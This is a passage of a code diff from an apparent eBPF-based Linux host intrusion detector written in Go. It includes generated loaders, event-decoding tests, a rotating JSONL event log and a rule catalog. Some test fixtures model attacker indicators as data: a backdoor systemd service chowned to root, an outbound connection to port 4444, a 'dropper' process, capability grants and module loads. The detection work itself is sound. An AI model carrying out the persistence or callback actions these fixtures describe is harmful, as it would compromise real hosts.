syscallMapMonitoredSyscalls = "monitored_syscalls"
syscallMapPendingReturns = "pending_returns"
syscallMapSyscallEvents = "syscall_events"
syscallProgTraceSysEnter = "trace_sys_enter"
syscallProgTraceSysExit = "trace_sys_exit"
)
// loadSyscall returns the embedded CollectionSpec for syscall.
func loadSyscall() (*ebpf.CollectionSpec, error) {
reader := bytes.NewReader(_SyscallBytes)
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
if err != nil {
return nil, fmt.Errorf("can't load syscall: %w", err)
}
return spec, err
}
// loadSyscallObjects loads syscall and converts it into a struct.
//
// The following types are suitable as obj argument:
//
// *syscallObjects
// *syscallPrograms
// *syscallMaps
//
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
func loadSyscallObjects(obj any, opts *ebpf.CollectionOptions) error {
spec, err := loadSyscall()
if err != nil {
return err
}
return spec.LoadAndAssign(obj, opts)
}
// syscallSpecs contains maps and programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallSpecs struct {
syscallProgramSpecs
syscallMapSpecs
syscallVariableSpecs
}
// syscallProgramSpecs contains programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallProgramSpecs struct {
TraceSysEnter *ebpf.ProgramSpec `ebpf:"trace_sys_enter"`
TraceSysExit *ebpf.ProgramSpec `ebpf:"trace_sys_exit"`
}
// syscallMapSpecs contains maps before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallMapSpecs struct {
MonitoredHostComms *ebpf.MapSpec `ebpf:"monitored_host_comms"`
MonitoredSyscalls *ebpf.MapSpec `ebpf:"monitored_syscalls"`
PendingReturns *ebpf.MapSpec `ebpf:"pending_returns"`
SyscallEvents *ebpf.MapSpec `ebpf:"syscall_events"`
}
// syscallVariableSpecs contains global variables before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallVariableSpecs struct {
}
// syscallObjects contains all objects after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallObjects struct {
syscallPrograms
syscallMaps
syscallVariables
}
func (o *syscallObjects) Close() error {
return _SyscallClose(
&o.syscallPrograms,
&o.syscallMaps,
)
}
// syscallMaps contains all maps after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallMaps struct {
MonitoredHostComms *ebpf.Map `ebpf:"monitored_host_comms"`
MonitoredSyscalls *ebpf.Map `ebpf:"monitored_syscalls"`
PendingReturns *ebpf.Map `ebpf:"pending_returns"`
SyscallEvents *ebpf.Map `ebpf:"syscall_events"`
}
func (m *syscallMaps) Close() error {
return _SyscallClose(
m.MonitoredHostComms,
m.MonitoredSyscalls,
m.PendingReturns,
m.SyscallEvents,
)
}
// syscallVariables contains all global variables after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallVariables struct {
}
// syscallPrograms contains all programs after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallPrograms struct {
TraceSysEnter *ebpf.Program `ebpf:"trace_sys_enter"`
TraceSysExit *ebpf.Program `ebpf:"trace_sys_exit"`
}
func (p *syscallPrograms) Close() error {
return _SyscallClose(
p.TraceSysEnter,
p.TraceSysExit,
)
}
func _SyscallClose(closers ...io.Closer) error {
for _, closer := range closers {
if err := closer.Close(); err != nil {
return err
}
}
return nil
}
// Do not access this directly.
//
//go:embed syscall_bpfeb.o
var _SyscallBytes []byte

Binary file not shown.

View file

@ -0,0 +1,157 @@
// Code generated by bpf2go; DO NOT EDIT.
//go:build 386 || amd64 || arm || arm64 || loong64 || mips64le || mipsle || ppc64le || riscv64 || wasm
package ebpfsource
import (
"bytes"
_ "embed"
"fmt"
"io"
"github.com/cilium/ebpf"
)
// Names of all BPF objects in the ELF.
//
// Used for safe lookups in a Collection or CollectionSpec.
const (
syscallMapMonitoredHostComms = "monitored_host_comms"
syscallMapMonitoredSyscalls = "monitored_syscalls"
syscallMapPendingReturns = "pending_returns"
syscallMapSyscallEvents = "syscall_events"
syscallProgTraceSysEnter = "trace_sys_enter"
syscallProgTraceSysExit = "trace_sys_exit"
)
// loadSyscall returns the embedded CollectionSpec for syscall.
func loadSyscall() (*ebpf.CollectionSpec, error) {
reader := bytes.NewReader(_SyscallBytes)
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
if err != nil {
return nil, fmt.Errorf("can't load syscall: %w", err)
}
return spec, err
}
// loadSyscallObjects loads syscall and converts it into a struct.
//
// The following types are suitable as obj argument:
//
// *syscallObjects
// *syscallPrograms
// *syscallMaps
//
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
func loadSyscallObjects(obj any, opts *ebpf.CollectionOptions) error {
spec, err := loadSyscall()
if err != nil {
return err
}
return spec.LoadAndAssign(obj, opts)
}
// syscallSpecs contains maps and programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallSpecs struct {
syscallProgramSpecs
syscallMapSpecs
syscallVariableSpecs
}
// syscallProgramSpecs contains programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallProgramSpecs struct {
TraceSysEnter *ebpf.ProgramSpec `ebpf:"trace_sys_enter"`
TraceSysExit *ebpf.ProgramSpec `ebpf:"trace_sys_exit"`
}
// syscallMapSpecs contains maps before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallMapSpecs struct {
MonitoredHostComms *ebpf.MapSpec `ebpf:"monitored_host_comms"`
MonitoredSyscalls *ebpf.MapSpec `ebpf:"monitored_syscalls"`
PendingReturns *ebpf.MapSpec `ebpf:"pending_returns"`
SyscallEvents *ebpf.MapSpec `ebpf:"syscall_events"`
}
// syscallVariableSpecs contains global variables before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type syscallVariableSpecs struct {
}
// syscallObjects contains all objects after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallObjects struct {
syscallPrograms
syscallMaps
syscallVariables
}
func (o *syscallObjects) Close() error {
return _SyscallClose(
&o.syscallPrograms,
&o.syscallMaps,
)
}
// syscallMaps contains all maps after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallMaps struct {
MonitoredHostComms *ebpf.Map `ebpf:"monitored_host_comms"`
MonitoredSyscalls *ebpf.Map `ebpf:"monitored_syscalls"`
PendingReturns *ebpf.Map `ebpf:"pending_returns"`
SyscallEvents *ebpf.Map `ebpf:"syscall_events"`
}
func (m *syscallMaps) Close() error {
return _SyscallClose(
m.MonitoredHostComms,
m.MonitoredSyscalls,
m.PendingReturns,
m.SyscallEvents,
)
}
// syscallVariables contains all global variables after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallVariables struct {
}
// syscallPrograms contains all programs after they have been loaded into the kernel.
//
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
type syscallPrograms struct {
TraceSysEnter *ebpf.Program `ebpf:"trace_sys_enter"`
TraceSysExit *ebpf.Program `ebpf:"trace_sys_exit"`
}
func (p *syscallPrograms) Close() error {
return _SyscallClose(
p.TraceSysEnter,
p.TraceSysExit,
)
}
func _SyscallClose(closers ...io.Closer) error {
for _, closer := range closers {
if err := closer.Close(); err != nil {
return err
}
}
return nil
}
// Do not access this directly.
//
//go:embed syscall_bpfel.o
var _SyscallBytes []byte

Binary file not shown.

View file

@ -0,0 +1,256 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package ebpfsource
import (
"bytes"
"encoding/binary"
"os"
"path/filepath"
"slices"
"testing"
"golang.org/x/sys/unix"
)
func TestDecodeSyscallSample(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: syscallMprotect,
Args: [6]uint64{0x1000, 0x2000, 0x6},
}
copyCString(raw.Comm[:], "dropper")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
event, err := decodeSyscallSample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if event.PID != 42 || event.PPID != 7 || event.UID != 1000 ||
event.Comm != "dropper" || event.Syscall != "mprotect" || event.Args[2] != 0x6 {
t.Fatalf("unexpected event: %#v", event)
}
}
func TestDecodeSyscallSampleRejectsUnknownIDAndSize(t *testing.T) {
if _, err := decodeSyscallSample([]byte{1}); err == nil {
t.Fatal("expected size error")
}
raw := syscallEventRaw{SyscallID: 99}
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
if _, err := decodeSyscallSample(sample.Bytes()); err == nil {
t.Fatal("expected unknown ID error")
}
}
func TestDecodeSecuritySampleProducesTypedHostTransition(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: hostSetuid,
Args: [6]uint64{0},
}
copyCString(raw.Comm[:], "python3")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if securityEvent.Syscall != nil || securityEvent.Host == nil ||
securityEvent.Host.Event != "setuid" || securityEvent.Host.TargetUID != 0 ||
securityEvent.Host.TargetGID != -1 || securityEvent.Host.Comm != "python3" {
t.Fatalf("unexpected security event: %#v", securityEvent)
}
}
func TestDecodeSecuritySampleProducesPermissionChange(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: hostFchownat,
Args: [6]uint64{0, 0},
}
copyCString(raw.Comm[:], "python3")
copyCString(raw.Text[:], "/etc/systemd/system/backdoor.service")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if securityEvent.Host == nil || securityEvent.Host.Event != "chown" ||
securityEvent.Host.Path != "/etc/systemd/system/backdoor.service" ||
securityEvent.Host.TargetUID != 0 || securityEvent.Host.TargetGID != 0 {
t.Fatalf("unexpected security event: %#v", securityEvent)
}
}
func TestDecodeSecuritySampleProducesCapabilities(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: hostCapset,
Args: [6]uint64{(1 << 2) | (1 << 21)},
}
copyCString(raw.Comm[:], "python3")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
want := []string{"CAP_DAC_READ_SEARCH", "CAP_SYS_ADMIN"}
if securityEvent.Host == nil || securityEvent.Host.Event != "capset" ||
!slices.Equal(securityEvent.Host.Capabilities, want) {
t.Fatalf("unexpected security event: %#v", securityEvent)
}
}
func TestDecodeSecuritySampleProducesModuleLoad(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 0, SyscallID: hostFinitModule,
Args: [6]uint64{5},
}
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if securityEvent.Host == nil || securityEvent.Host.Event != "module_load" || securityEvent.pathDirFD != 5 {
t.Fatalf("unexpected security event: %#v", securityEvent)
}
}
func TestDecodeSecuritySampleProducesFileWrite(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: hostFileWrite,
Args: [6]uint64{5, 128},
}
copyCString(raw.Comm[:], "python3")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if securityEvent.Host == nil || securityEvent.Host.Event != "file_write" ||
securityEvent.Host.Comm != "python3" || securityEvent.pathDirFD != 5 {
t.Fatalf("unexpected security event: %#v", securityEvent)
}
}
func TestDecodeSecuritySampleProducesNetworkEvents(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: hostTCPConnect,
Args: [6]uint64{unix.AF_INET, 4444, 0, 5},
}
copyCString(raw.Comm[:], "python3")
address := []byte{8, 8, 8, 8}
raw.Args[2] = uint64(binary.NativeEndian.Uint32(address))
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if securityEvent.Host == nil || securityEvent.Host.Event != "tcp_connect" ||
securityEvent.Host.PeerIP != "8.8.8.8" || securityEvent.Host.PeerPort != 4444 ||
securityEvent.pathDirFD != 5 {
t.Fatalf("unexpected network event: %#v", securityEvent)
}
}
func TestDecodeSecuritySampleProducesAccept(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: hostAccept4,
Args: [6]uint64{0, 0, 0, 6},
}
copyCString(raw.Comm[:], "python3")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if securityEvent.Host == nil || securityEvent.Host.Event != "accept" || securityEvent.pathDirFD != 6 {
t.Fatalf("unexpected accept event: %#v", securityEvent)
}
}
func TestMonitoredSyscallsUsesPlatformConstants(t *testing.T) {
numbers := monitoredSyscalls()
if len(numbers) != 26+len(legacyPermissionSyscalls())+len(legacyNetworkSyscalls()) ||
numbers[unix.SYS_MEMFD_CREATE] != syscallMemfdCreate ||
numbers[unix.SYS_MPROTECT] != syscallMprotect || numbers[unix.SYS_SETUID] != hostSetuid {
t.Fatalf("unexpected syscall map: %#v", numbers)
}
for _, number := range []uint64{
unix.SYS_WRITE, unix.SYS_WRITEV, unix.SYS_PWRITE64,
unix.SYS_PWRITEV, unix.SYS_PWRITEV2,
} {
if numbers[number] != hostFileWrite {
t.Fatalf("write syscall %d maps to %d", number, numbers[number])
}
}
}
func TestResolveProcessPath(t *testing.T) {
procRoot := t.TempDir()
processDir := filepath.Join(procRoot, "42")
if err := os.Mkdir(processDir, 0o755); err != nil {
t.Fatal(err)
}
if err := os.Symlink("/etc/systemd", filepath.Join(processDir, "cwd")); err != nil {
t.Fatal(err)
}
if err := os.Mkdir(filepath.Join(processDir, "fd"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.Symlink("/etc", filepath.Join(processDir, "fd", "5")); err != nil {
t.Fatal(err)
}
if err := os.Symlink("socket:[12345]", filepath.Join(processDir, "fd", "6")); err != nil {
t.Fatal(err)
}
if err := os.Mkdir(filepath.Join(procRoot, "net"), 0o755); err != nil {
t.Fatal(err)
}
tcpTable := "sl local remote st tx rx tr tm retr uid timeout inode\n0: 0100007F:1F90 08080808:115C 01 0 0 0 0 0 12345\n"
if err := os.WriteFile(filepath.Join(procRoot, "net", "tcp"), []byte(tcpTable), 0o600); err != nil {
t.Fatal(err)
}
if got := resolveProcessPath(procRoot, 42, -100, "system/agent.service"); got != "/etc/systemd/system/agent.service" {
t.Fatalf("resolved path=%q", got)
}
if got := resolveProcessPath(procRoot, 42, 5, "cron.d/agent"); got != "/etc/cron.d/agent" {
t.Fatalf("dirfd-resolved path=%q", got)
}
if got := resolveProcessFD(procRoot, 42, 5); got != "/etc" {
t.Fatalf("fd-resolved path=%q", got)
}
if !isTCPSocket(procRoot, 42, 6) || isTCPSocket(procRoot, 42, 5) {
t.Fatal("TCP socket classification mismatch")
}
local, peer, ok := lookupTCPSocket(procRoot, 42, 6)
if !ok || local.IP != "127.0.0.1" || local.Port != 8080 || peer.IP != "8.8.8.8" || peer.Port != 4444 {
t.Fatalf("unexpected endpoints: local=%#v peer=%#v ok=%v", local, peer, ok)
}
if got := resolveProcessPath(procRoot, 99, -100, "relative"); got != "relative" {
t.Fatalf("unresolved path=%q", got)
}
}

View file

@ -0,0 +1,19 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//go:build amd64
package ebpfsource
import "golang.org/x/sys/unix"
func legacyPermissionSyscalls() map[uint64]uint32 {
return map[uint64]uint32{
unix.SYS_CHMOD: hostChmod,
unix.SYS_CHOWN: hostChown,
unix.SYS_LCHOWN: hostLchown,
}
}
func legacyNetworkSyscalls() map[uint64]uint32 {
return map[uint64]uint32{unix.SYS_ACCEPT: hostAccept}
}

View file

@ -0,0 +1,13 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//go:build !amd64
package ebpfsource
func legacyPermissionSyscalls() map[uint64]uint32 {
return nil
}
func legacyNetworkSyscalls() map[uint64]uint32 {
return nil
}

View file

@ -0,0 +1,87 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package eventlog
import (
"bufio"
"encoding/json"
"fmt"
"os"
)
const maxRecordBytes = 1 << 20
// ReadRecent returns at most limit records in chronological order, reading the
// older rotated segment before the active file. Every returned row is valid
// JSON; corruption is reported instead of passed to an operator as evidence.
func ReadRecent(path string, limit int) ([][]byte, error) {
if path == "" {
return nil, fmt.Errorf("event log path is required")
}
if limit <= 0 {
return nil, fmt.Errorf("event limit must be positive")
}
buffer := recentBuffer{limit: limit}
if _, err := os.Stat(path + ".1"); err == nil {
if err := scanRecords(path+".1", buffer.add); err != nil {
return nil, err
}
} else if !os.IsNotExist(err) {
return nil, fmt.Errorf("stat rotated event log: %w", err)
}
if err := scanRecords(path, buffer.add); err != nil {
return nil, err
}
return buffer.values(), nil
}
func scanRecords(path string, consume func([]byte)) error {
file, err := os.Open(path)
if err != nil {
return fmt.Errorf("open event log %s: %w", path, err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
scanner.Buffer(make([]byte, 64*1024), maxRecordBytes)
line := 0
for scanner.Scan() {
line++
raw := scanner.Bytes()
if len(raw) == 0 {
continue
}
if !json.Valid(raw) {
return fmt.Errorf("invalid JSON in %s at line %d", path, line)
}
consume(append([]byte(nil), raw...))
}
if err := scanner.Err(); err != nil {
return fmt.Errorf("read event log %s: %w", path, err)
}
return nil
}
type recentBuffer struct {
limit int
rows [][]byte
next int
}
func (b *recentBuffer) add(raw []byte) {
if len(b.rows) < b.limit {
b.rows = append(b.rows, raw)
return
}
b.rows[b.next] = raw
b.next = (b.next + 1) % b.limit
}
func (b *recentBuffer) values() [][]byte {
if len(b.rows) < b.limit || b.next == 0 {
return b.rows
}
result := make([][]byte, 0, len(b.rows))
result = append(result, b.rows[b.next:]...)
result = append(result, b.rows[:b.next]...)
return result
}

View file

@ -0,0 +1,81 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package eventlog
import (
"encoding/json"
"os"
"path/filepath"
"testing"
)
func TestReadRecentSpansRotationInChronologicalOrder(t *testing.T) {
path := filepath.Join(t.TempDir(), "events.jsonl")
writeLines(t, path+".1", 1, 2, 3)
writeLines(t, path, 4, 5)
rows, err := ReadRecent(path, 3)
if err != nil {
t.Fatal(err)
}
if got := rowSequences(t, rows); len(got) != 3 || got[0] != 3 || got[1] != 4 || got[2] != 5 {
t.Fatalf("sequences=%v", got)
}
}
func TestReadRecentReturnsAllWhenUnderLimit(t *testing.T) {
path := filepath.Join(t.TempDir(), "events.jsonl")
writeLines(t, path, 7, 8)
rows, err := ReadRecent(path, 10)
if err != nil {
t.Fatal(err)
}
if got := rowSequences(t, rows); len(got) != 2 || got[0] != 7 || got[1] != 8 {
t.Fatalf("sequences=%v", got)
}
}
func TestReadRecentRejectsCorruptionAndInvalidArguments(t *testing.T) {
path := filepath.Join(t.TempDir(), "events.jsonl")
if err := os.WriteFile(path, []byte("{not-json}\n"), 0o600); err != nil {
t.Fatal(err)
}
if _, err := ReadRecent(path, 1); err == nil {
t.Fatal("corrupt log accepted")
}
if _, err := ReadRecent("", 1); err == nil {
t.Fatal("empty path accepted")
}
if _, err := ReadRecent(path, 0); err == nil {
t.Fatal("zero limit accepted")
}
}
func writeLines(t *testing.T, path string, sequences ...int) {
t.Helper()
file, err := os.Create(path)
if err != nil {
t.Fatal(err)
}
defer file.Close()
encoder := json.NewEncoder(file)
for _, sequence := range sequences {
if err := encoder.Encode(map[string]any{"sequence": sequence}); err != nil {
t.Fatal(err)
}
}
}
func rowSequences(t *testing.T, rows [][]byte) []int {
t.Helper()
result := make([]int, 0, len(rows))
for _, row := range rows {
var record struct {
Sequence int `json:"sequence"`
}
if err := json.Unmarshal(row, &record); err != nil {
t.Fatal(err)
}
result = append(result, record.Sequence)
}
return result
}

View file

@ -0,0 +1,111 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package eventlog retains a bounded JSONL copy of emitted event envelopes.
package eventlog
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"sync"
)
// Writer appends records to Path and keeps one rotated segment at Path + ".1".
type Writer struct {
Path string
MaxBytes int64
mu sync.Mutex
}
// New preflights the parent directory and destination permissions. A service
// can call it before signaling readiness so a broken retention path fails the
// start instead of silently dropping records.
func New(path string, maxBytes int64) (*Writer, error) {
if path == "" {
return nil, fmt.Errorf("event log path is required")
}
if maxBytes <= 0 {
return nil, fmt.Errorf("event log max bytes must be positive")
}
if err := os.MkdirAll(filepath.Dir(path), 0o750); err != nil {
return nil, fmt.Errorf("create event log directory: %w", err)
}
file, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
if err != nil {
return nil, fmt.Errorf("open event log: %w", err)
}
if err := file.Chmod(0o600); err != nil {
file.Close()
return nil, fmt.Errorf("protect event log: %w", err)
}
if err := file.Close(); err != nil {
return nil, fmt.Errorf("close event log: %w", err)
}
return &Writer{Path: path, MaxBytes: maxBytes}, nil
}
// Append writes exactly one JSON record. Alert and incident records are synced
// before success is reported; routine status records rely on normal kernel
// writeback to avoid forcing a disk flush every sweep.
func (w *Writer) Append(record map[string]any) error {
if w == nil {
return fmt.Errorf("event log writer is required")
}
raw, err := json.Marshal(record)
if err != nil {
return fmt.Errorf("encode event log record: %w", err)
}
raw = append(raw, '\n')
if len(raw) > maxRecordBytes {
return fmt.Errorf("event log record exceeds %d bytes", maxRecordBytes)
}
w.mu.Lock()
defer w.mu.Unlock()
if err := w.rotateBefore(int64(len(raw))); err != nil {
return err
}
file, err := os.OpenFile(w.Path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
if err != nil {
return fmt.Errorf("open event log: %w", err)
}
if err := file.Chmod(0o600); err != nil {
file.Close()
return fmt.Errorf("protect event log: %w", err)
}
if _, err := file.Write(raw); err != nil {
file.Close()
return fmt.Errorf("append event log: %w", err)
}
if eventType, _ := record["event_type"].(string); eventType != "status" {
if err := file.Sync(); err != nil {
file.Close()
return fmt.Errorf("sync event log: %w", err)
}
}
if err := file.Close(); err != nil {
return fmt.Errorf("close event log: %w", err)
}
return nil
}
func (w *Writer) rotateBefore(incoming int64) error {
info, err := os.Stat(w.Path)
if os.IsNotExist(err) {
return nil
}
if err != nil {
return fmt.Errorf("stat event log: %w", err)
}
// Always allow one record into an empty file, even when that individual
// envelope is larger than the configured bound.
if info.Size() == 0 || info.Size()+incoming <= w.MaxBytes {
return nil
}
if err := os.Rename(w.Path, w.Path+".1"); err != nil {
return fmt.Errorf("rotate event log: %w", err)
}
return nil
}

View file

@ -0,0 +1,131 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package eventlog
import (
"bufio"
"encoding/json"
"os"
"path/filepath"
"sync"
"testing"
)
func TestWriterAppendsJSONLWithPrivatePermissions(t *testing.T) {
path := filepath.Join(t.TempDir(), "state", "events.jsonl")
writer, err := New(path, 1<<20)
if err != nil {
t.Fatal(err)
}
for _, record := range []map[string]any{
{"event_type": "status", "sequence": 1},
{"event_type": "alert", "sequence": 2},
} {
if err := writer.Append(record); err != nil {
t.Fatal(err)
}
}
rows := readRows(t, path)
if len(rows) != 2 || rows[0]["sequence"] != float64(1) || rows[1]["sequence"] != float64(2) {
t.Fatalf("rows=%#v", rows)
}
info, err := os.Stat(path)
if err != nil {
t.Fatal(err)
}
if got := info.Mode().Perm(); got != 0o600 {
t.Fatalf("mode=%#o", got)
}
}
func TestWriterRotatesBeforeCrossingBound(t *testing.T) {
directory := t.TempDir()
path := filepath.Join(directory, "events.jsonl")
first := map[string]any{"event_type": "status", "marker": "first"}
encoded, err := json.Marshal(first)
if err != nil {
t.Fatal(err)
}
writer, err := New(path, int64(len(encoded)+1))
if err != nil {
t.Fatal(err)
}
if err := writer.Append(first); err != nil {
t.Fatal(err)
}
if err := writer.Append(map[string]any{"event_type": "alert", "marker": "second"}); err != nil {
t.Fatal(err)
}
current := readRows(t, path)
rotated := readRows(t, path+".1")
if len(current) != 1 || current[0]["marker"] != "second" {
t.Fatalf("current=%#v", current)
}
if len(rotated) != 1 || rotated[0]["marker"] != "first" {
t.Fatalf("rotated=%#v", rotated)
}
}
func TestWriterSerializesConcurrentAppends(t *testing.T) {
path := filepath.Join(t.TempDir(), "events.jsonl")
writer, err := New(path, 1<<20)
if err != nil {
t.Fatal(err)
}
var wait sync.WaitGroup
for index := range 32 {
wait.Add(1)
go func() {
defer wait.Done()
if err := writer.Append(map[string]any{"event_type": "status", "sequence": index}); err != nil {
t.Errorf("append: %v", err)
}
}()
}
wait.Wait()
if rows := readRows(t, path); len(rows) != 32 {
t.Fatalf("row count=%d", len(rows))
}
}
func TestNewRejectsInvalidConfiguration(t *testing.T) {
if _, err := New("", 100); err == nil {
t.Fatal("empty path accepted")
}
if _, err := New(filepath.Join(t.TempDir(), "events.jsonl"), 0); err == nil {
t.Fatal("zero bound accepted")
}
}
func TestWriterRejectsRecordLargerThanReaderLimit(t *testing.T) {
path := filepath.Join(t.TempDir(), "events.jsonl")
writer, err := New(path, 2<<20)
if err != nil {
t.Fatal(err)
}
if err := writer.Append(map[string]any{"event_type": "alert", "payload": make([]byte, maxRecordBytes)}); err == nil {
t.Fatal("oversized record accepted")
}
}
func readRows(t *testing.T, path string) []map[string]any {
t.Helper()
file, err := os.Open(path)
if err != nil {
t.Fatal(err)
}
defer file.Close()
var rows []map[string]any
scanner := bufio.NewScanner(file)
for scanner.Scan() {
var row map[string]any
if err := json.Unmarshal(scanner.Bytes(), &row); err != nil {
t.Fatal(err)
}
rows = append(rows, row)
}
if err := scanner.Err(); err != nil {
t.Fatal(err)
}
return rows
}

View file

@ -0,0 +1,141 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"sort"
"strings"
)
// RuleCatalog returns the stable operator-facing metadata currently exposed by
// Python ruleops.list_rules. Conditions remain data, so auditors can inspect
// what the binary will match without reading Go source or loading eBPF.
func RuleCatalog(execRules ExecRuleEngine) []map[string]any {
builtinExec := map[int]bool{100001: true, 100002: true, 100003: true, 100004: true}
records := make([]map[string]any, 0,
len(execRules.Rules)+len(DefaultSyscallRuleEngine().Rules)+len(DefaultHostRuleEngine().Rules))
for _, rule := range execRules.Rules {
origin := "configured"
if builtinExec[rule.SID] {
origin = "builtin"
}
conditions := map[string]any{}
if len(rule.PathPrefixes) > 0 {
conditions["path_prefixes"] = append([]string(nil), rule.PathPrefixes...)
}
if len(rule.ExecComms) > 0 {
conditions["exec_comm"] = sortedStringKeys(rule.ExecComms)
}
if len(rule.ParentComms) > 0 {
conditions["parent_comm"] = sortedStringKeys(rule.ParentComms)
}
if rule.ArgvRegex != "" {
conditions["argv_regex"] = rule.ArgvRegex
}
if len(rule.ParentExclude) > 0 {
conditions["parent_exclude"] = sortedStringKeys(rule.ParentExclude)
}
records = append(records, map[string]any{
"sid": rule.SID, "event": "exec", "origin": origin,
"severity": rule.Severity, "classtype": rule.Classtype,
"signature": "exec_rule." + rule.Classtype,
"msg": rule.Message, "conditions": conditions,
})
}
for _, rule := range DefaultSyscallRuleEngine().Rules {
records = append(records, map[string]any{
"sid": rule.SID, "event": "syscall", "origin": "builtin",
"severity": rule.Severity, "classtype": rule.Classtype,
"signature": "syscall_rule." + rule.Classtype,
"msg": rule.Message,
"conditions": map[string]any{
"syscalls": sortedStringKeys(rule.Syscalls),
"predicate": "built-in predicate",
},
})
}
for _, rule := range DefaultHostRuleEngine().Rules {
conditions := map[string]any{"events": sortedStringKeys(rule.Events)}
if len(rule.Comms) > 0 {
conditions["comm"] = sortedStringKeys(rule.Comms)
}
if len(rule.ParentComms) > 0 {
conditions["parent_comm"] = sortedStringKeys(rule.ParentComms)
}
if rule.PeerPublic != nil {
conditions["peer_public"] = *rule.PeerPublic
}
if len(rule.PeerPorts) > 0 {
conditions["peer_ports"] = sortedIntKeys(rule.PeerPorts)
}
if len(rule.PeerPortExclude) > 0 {
conditions["peer_port_exclude"] = sortedIntKeys(rule.PeerPortExclude)
}
if len(rule.LocalPorts) > 0 {
conditions["local_ports"] = sortedIntKeys(rule.LocalPorts)
}
if len(rule.LocalPortExclude) > 0 {
conditions["local_port_exclude"] = sortedIntKeys(rule.LocalPortExclude)
}
if len(rule.PathPrefixes) > 0 {
conditions["path_prefixes"] = append([]string(nil), rule.PathPrefixes...)
}
if len(rule.TargetUIDs) > 0 {
conditions["target_uids"] = sortedIntKeys(rule.TargetUIDs)
}
if len(rule.TargetGIDs) > 0 {
conditions["target_gids"] = sortedIntKeys(rule.TargetGIDs)
}
if len(rule.CapabilitiesAny) > 0 {
conditions["capabilities_any"] = sortedStringKeys(rule.CapabilitiesAny)
}
if len(rule.ModuleNames) > 0 {
conditions["module_names"] = sortedStringKeys(rule.ModuleNames)
}
if rule.ArgvRegex != "" {
